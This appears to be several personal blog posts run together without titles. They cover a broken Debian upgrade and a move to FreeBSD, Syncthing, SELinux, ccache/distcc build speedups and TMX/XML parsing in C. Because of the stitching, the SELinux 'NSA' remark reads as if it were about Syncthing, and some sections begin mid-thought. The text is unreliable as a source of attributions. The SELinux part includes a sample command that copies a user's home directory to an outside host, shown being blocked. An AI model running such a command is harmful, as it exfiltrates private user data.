What happened?

Well, Debian 13 Trixie just released to mass acclaim (I should know, because I’m a big fan of Debian on servers), and I was in the midst of making a transition plan to upgrade my install. However, what had started out as a simple learning experience in a VM quickly escalated into the solution to a five-alarm fire of my own making.

By default, Debian does not allow users to install packages outside of the version of Debian that they have installed. I needed to get around this issue due to a compiler version mismatch on my main build server I use to speed up compiling C (see my post on distcc and ccache for details on getting that setup). So I decided to modify apt’s pin configuration to only install select packages from unstable (specifically GCC version 14 at the time). However, when Debian made the packages from unstable available as Trixie packages, something in my apt configuration caused a cascade of failures that resulted in something akin to Debian having a stroke.

Firstly, the postfix server running on my server failed. I still do not know what fully caused this outage, but without this key piece of infrastructure, issues would compound before any notification on my end. Once the email server was down, the email I would usually get notifying me of automatic upgrades would never come, and therefore, apt did not send the email detailing the critical errors quickly stacking up as the packages in unstable were shifted out into Trixie. I believe this is where the apt pin preferences was updated, causing the rest of Trixie to be pulled into my Debian Bookworm install. Apt failed soon after, as the apt sources file no longer matched the currently running OS.

Once I noticed that my email server wasn’t responding, I was able to login and see the damage. The entire OS had to be reinstalled from scratch, and just two days before starting a new job, meaning I had no email, no calendar, and no VPN back to the house.

So…new Debian version?

Not quite. You see, while Debian was quietly lighting itself on fire, I was playing with a FreeBSD virtual machine instance. I had zero intention of moving anything to it just yet (had that experience with my laptop, and, oh boy, were there some show-stopping bugs). However, I quickly fell in love with the level of polish and support FreeBSD has, and I was seriously considering moving to it instead of upgrading to Trixie just for the learning experience and to see if it was up to snuff to power the services I need.

It had it all: sane defaults, ports packages that I can customize to the third degree, a ZFS version that actual works; and I was enamoured after only about an hour of using the VM. However, the graphics drivers aren’t quite up to par for my standards, though they are extremely high quality. Fortunately, I wasn’t planning on using it to play games and render graphics, I was going to use it completely for work.

The server I have at home now rocks FreeBSD 14.3, and I could not be happier about it.

Final thoughts

If you’re any kind of sysadmin or Unix developer, you need to give FreeBSD a try if you haven’t already. It has changed my personal views on what a Unix system should be in very positive ways, and I will definitely be staying with it on my server. However, you might want to check the hardware compatibility on the FreeBSD wiki or check with sites like this one before taking the plunge on a personal system.

How it works

Syncthing works very well out of the box, but it has endless ways of tailoring it for a particular scenario. In the default configuration, there is a main directory that it adds to its tracking information called ~/Sync. In the main configuration page, which can be found at http://localhost:8384/, all it needs is a machine ID which can be found in the admin page of the other system. Like magic, it will start syncing across the internet with the other machine, even across firewalled networks. In the default configuration it uses public relay servers for this task and, while reliable, it is a tad bit slow for me. So, I’ve added my own server as a direct connection. This way, I also get the added bonus of having everything I need in a central point and all I need to access it is to point a syncthing instance at its public IP address.

Why not Nextcloud?

In my testing, I have found Nextcloud and other such solutions a bit heavy-handed for my particular use case, or in some areas, lacking basic features. For instance, the Nextcloud app on Android tried to be everything and the kitchen sink: image viewer, music player, encryption manager and all kinds of functionality I would never make use of and cannot remove. These features, while I’m sure some found useful, I did not and they took precious space on my rather meager 16 gigabyte Samsung at the time. On my new devices, this is much less of a concern but I do still enjoy an app to follow the Unix principle. Syncthing is just a file synchronization tool, and that’s all I need it to do.

Yes it’s an NSA thing

Before we go further, I have to answer one question: yes, it was developed by the NSA. As most security researchers and other people “in the know” have pointed out, the NSA cannot be trusted with most things. But this is one of several notable exceptions to that rule, and even Linus has defended them on this one.

Security Labels

SELinux works by attaching “security labels” to files and directories on the file system as metadata. For instance doing a ls -lZ command on my web server home directory looks like this

    # ls -lZ /var/www/*
    drwxr-xr-x. 4 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Nov 17  2020 2020
    -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      1654 Apr  6 14:52 404.html
    -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      2779 Apr  6 14:52 about.html
    drwxr-xr-x. 6 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Apr  6 14:52 assets
    -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0     20564 Apr  6 14:52 feed.xml
    -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      2622 Apr  6 14:52 index.html
    -rw-r--r--. 1 root root     unconfined_u:object_r:httpd_sys_content_t:s0   612 Jun 24 14:44 index.nginx-debian.html
    drwxr-xr-x. 3 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Apr  8  2020 oss
    -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      1890 Apr  6 14:52 projects.html

As you can see, the security context is a colon-delimited list. The system_u, object_r, and s0 parts aren’t used in the targeted policy (which I use). Those are used in the multi-level security (MLS) policy, and it adds much more complexity than is required for most use cases. For the target policy only the “type” portion is ever used.

These labels are attached to the file system on initial setup of SELinux by running touch /.autorelabel and making sure security=selinux selinux=1 is appended to the kernel command line, see your bootloader documentation for that. You can change them either rerunning that command and rebooting or by using the restorecon or chcon commands, see the relevant manpage for details.

Type Enforcement

This is where most people really start to get confused. On every access of any file in the file system, the kernel still checks UNIX permissions, i.e. the rwx bits in the file metadata. If the permission bits don’t allow something, SELinux won’t allow it either. Not very interesting, right? The interesting part begins when a user, alice has some data that might be classified or read-only and decides, maybe out of frustration, to chmod 777 her entire home directory. Most Linux and Unix heads are probably exploding upon reading that, but this where SELinux can really save your bacon. Because when a system process has a vulnerability that allows arbitrary code execution and tries to run a shell command such as:

    $ scp -r ~alice www.data-hack.net
    cp: cannot stat '/home/alice': Permission denied

This is due to the kernel detecting a type mismatch, i.e. it detects the process running with httpd_t cannot access files with the type user_home_t.

In addition, all of these errors are logged by the audit daemon, auditd and placed in /var/log/audit/audit.log for you to examine later.

Fixing Errors

The first step to take when fixing a permission error, and you know the permission bits are set correctly, is to check the audit logs with the command ausearch -c <command_name> | audit2why. This command string searches the audit logs for the command <command_name> and feeds the results into audit2why which translates them into a more human readable format. This command will tell you exactly what to do to fix the error, whether it be setsebool -P <bool_name> or ausearch -c <command_name> | audit2allow -M <command_name>Local.

After a project reaches a certain size, compiling the code becomes a task in and of itself and is a source of wasted time the world over. Recently I started looking at tools to reduce the amount of time I waste waiting on code to compile and I found a few things that can help with that.

ccache

The first tool I found was something called ccache, and it works almost like a web browser cache, i.e. it stores the output of every compile operation I run in my home directory, and when I run the same job again it recalls the same result.

All one needs to do to get it working is to either prefix every call to the compiler with ccache or, and this is what I recommend, prefix your PATH environment variable with /usr/lib/ccache/bin. I just have a line in my .zshenv file that does just that:

    export PATH="/usr/lib/ccache/bin:$PATH"

Now be warned, the first run with a large project will take longer than a run without ccache enabled. The reason for this is that it has to build its internal cache which takes some amount of time between calls to the compiler.

You can check the ccache statistics with the command ccache -s. Here’s an example:

    $ ccache -s
    cache directory                     /home/dholman/.ccache
    primary config                      /home/dholman/.ccache/ccache.conf
    secondary config      (readonly)    /etc/ccache.conf
    stats updated                       Fri Nov  6 13:31:48 2020
    cache hit (direct)                 16980
    cache hit (preprocessed)            2373
    cache miss                         76011
    cache hit rate                     20.29 %
    called for link                     2154
    called for preprocessing            2603
    multiple source files                  2
    compiler produced stdout               4
    compiler produced empty output       652
    compile failed                       657
    preprocessor error                  1541
    bad compiler arguments               260
    unsupported source language           10
    autoconf compile/link               3087
    unsupported code directive           123
    could not write to output file       110
    no input file                       2858
    cleanups performed                    65
    files in cache                      6387
    cache size                         586.9 MB
    max cache size                      20.0 GB

distcc

The next tool was a bit more fiddly to get working and may or may not work for everyone, so be warned. Also, in order to get any benefit out of this, you need a separate computer attached to the same network as your development workstation.

Distcc, according to the website, is a distributed compiler. That’s not really true, as it functions as an extension to the existing compiler already running on my machine. In my case I have a Dell R710 dual Xeon system running in the basement, and I have distcc set up as a daemon listening on TCP port 3632 on that system. Here’s an excerpt from /etc/default/distcc allowing all hosts on my network to use it:

    #
    # Which networks/hosts should be allowed to connect to the daemon?
    # You can list multiple hosts/networks separated by spaces.
    # Networks have to be in CIDR notation, f.e. 192.168.1.0/24
    # Hosts are represented by a single IP Adress
    #
    # ALLOWEDNETS="127.0.0.1"

    ALLOWEDNETS="127.0.0.1 192.168.1.0/24"

The next step was to install distcc on my workstation and configure it to use the server downstairs as a slave:

    # --- /etc/distcc/hosts -----------------------
    # See the "Hosts Specification" section of
    # "man distcc" for the format of this file.
    #
    # By default, just test that it works in loopback mode.
    192.168.1.26/24,cpp,lzo

With all of this configured I could then build a project with make -j<number of parallel jobs> CC=distcc. Here’s a few results from some of my personal projects and other things.

Forge game engine:

    $ time make -j20 CC=distcc
    [ 23%] Building C object CMakeFiles/forge.dir/src/ui/button.c.o
    [ 23%] Building C object CMakeFiles/forge.dir/src/data/stack.c.o
    [ 23%] Building C object CMakeFiles/forge.dir/src/data/list.c.o
    [ 30%] Building C object CMakeFiles/forge.dir/src/ui/spinner.c.o
    [ 38%] Building C object CMakeFiles/forge.dir/src/ui/text.c.o
    [ 46%] Building C object CMakeFiles/forge.dir/src/engine.c.o
    [ 53%] Building C object CMakeFiles/forge.dir/src/ui/rect.c.o
    [ 61%] Building C object CMakeFiles/forge.dir/src/graphics.c.o
    [ 69%] Building C object CMakeFiles/forge.dir/src/input.c.o
    [ 76%] Building C object CMakeFiles/forge.dir/src/entity.c.o
    [ 92%] Building C object CMakeFiles/forge.dir/src/sprite.c.o
    [ 92%] Building C object CMakeFiles/forge.dir/src/tmx.c.o
    [100%] Linking C shared library libforge.so
    [100%] Built target forge
    make -j20 CC=distcc  0.03s user 0.02s system 97% cpu 0.046 total

Linux kernel with default config:

    $ time make -j20 CC=distcc
    ...
    Kernel: arch/x86/boot/bzImage is ready  (#1)
    make -j20 CC=distcc  463.45s user 116.23s system 120% cpu 8:01.29 total

Astute readers might notice that these results seem a little far-fetched for just distcc alone, and they would be right. Because I set ccache to be called before the compiler, distcc gets hooked into the call of ccache. I do not recommend doing it the other way around and neither do the developers of ccache and distcc. I also recommend not setting up distcc to be called on every call to the compiler, as distributing source code over TCP/IP like this can be a very time consuming process on sub-gigabit speed networks. One other thing to note is that the compiler versions must match, or all calls to distcc will fail.

One can look at what distcc is currently doing behind the scenes with distccmon-text <refresh seconds>, or if a GUI interface is preferred, you can use distccmon-gnome.

That’s what I thought when I attempted to write a TMX parser for the first time. I quickly found out how much of a pain it is to parse XML even with the format documentation right in front of me and a robust library to work with.

Seemingly random blank tags

I think the main issue with the XML standard is just how many quirks a file can possibly have. Things like this:

<doc>
        <element>data</element>
        <- There's a blank tag here! ->
        <element>more data</element>
</doc>

That blank tag counted for the whitespace that supposedly exists there. When this is detected by LibXML2, a blank <text> tag is placed in between two, otherwise valid, XML tags. Now when parsed by Python or Javascript or other languages where pointers are essentially non-existant, this should never come up. When parsed with a language like C however…well

zsh: segmentation fault (core dumped)   ./test

So, like any good developer, I ran it under Valgrind, and soon discovered that this is no ordinary memory fault.

==2373696== Invalid read of size 8
==2373696==     by _parse_layer(void*)
==2373696==     at xmlStrEqual(nodePtr*, xmlChar*)
==2373696==  Address 0x0 not stack'd, malloc'd or (recently) free'd

Now at this point, I’m thinking “Wait the bug is in LibXML? That can’t be right.” GDB, with liberal use of bt and print pointed at the same result: that the bug resided with LibXML. None of this made sense in the slightest. Why on earth would a professionally written software library that was essentially a standard fixture on many Unix-like systems have a major memory bug in it? The answer would not reveal itself until observing the program with hardware watchpoints.

(gdb) watch *node
Hardware watchpoint 2: *node
(gdb)
...

Hardware watchpoing 2: node

Old value = (nodePtr *) 0x5555...
New value = (nodePtr *) 0x0

There you are! This was that pesky <text> tag. Apparently, any, and I do mean any, whitespace detected by LibXML, including the space inserted by my level editor, produces this strange <text> tag that seems to be there for no clear reason. Three new helper functions and judicious use of nodePtr = nodePtr->next later and that problem is solved.

Comma separated values inside XML tags

XML can be a beast to parse, but CSV? I can parse that very easily using standard library functions like strtok. The problem came when the values in this list of values did not match the values inside the level editor.

<data encoding="csv">
49,50,50...50,51
97,
.
.
.
145,146...146,147
</data>

That first tile in the upper left corner? It has a GID of 48 inside the editor. In the file, it has GID of 49. This difference is not readily apparent from the editor or the file itself unless you know its there. This created the interesting case where my level looked pretty good in the editor but looked like someone placed tiles seemingly at random when my engine loaded the file into memory.

The documentation failed to mention this too, making this all the more difficult to track down. Eventually, I did manage to figure out that when the tile GID is extracted from the file to just decrement the value.

for (int i = 0; i < count; i++)
        ret->tile_gids[i] = vals[i]-1;

Thankfully, it didn’t require an hour worth of debugging inside GDB to find this.

Conclusion

I think that if you can get away with it, try to parse a binary file of your own creation rather than try to parse an existing standard. Why binary? Because you can more finely control how the data is formatted and parsing becomes a non-issue thanks to the ease of use of a standard C FILE pointer. I think the next thing I’ll do is write a script that converts these XML files into something much more terse and less quirky.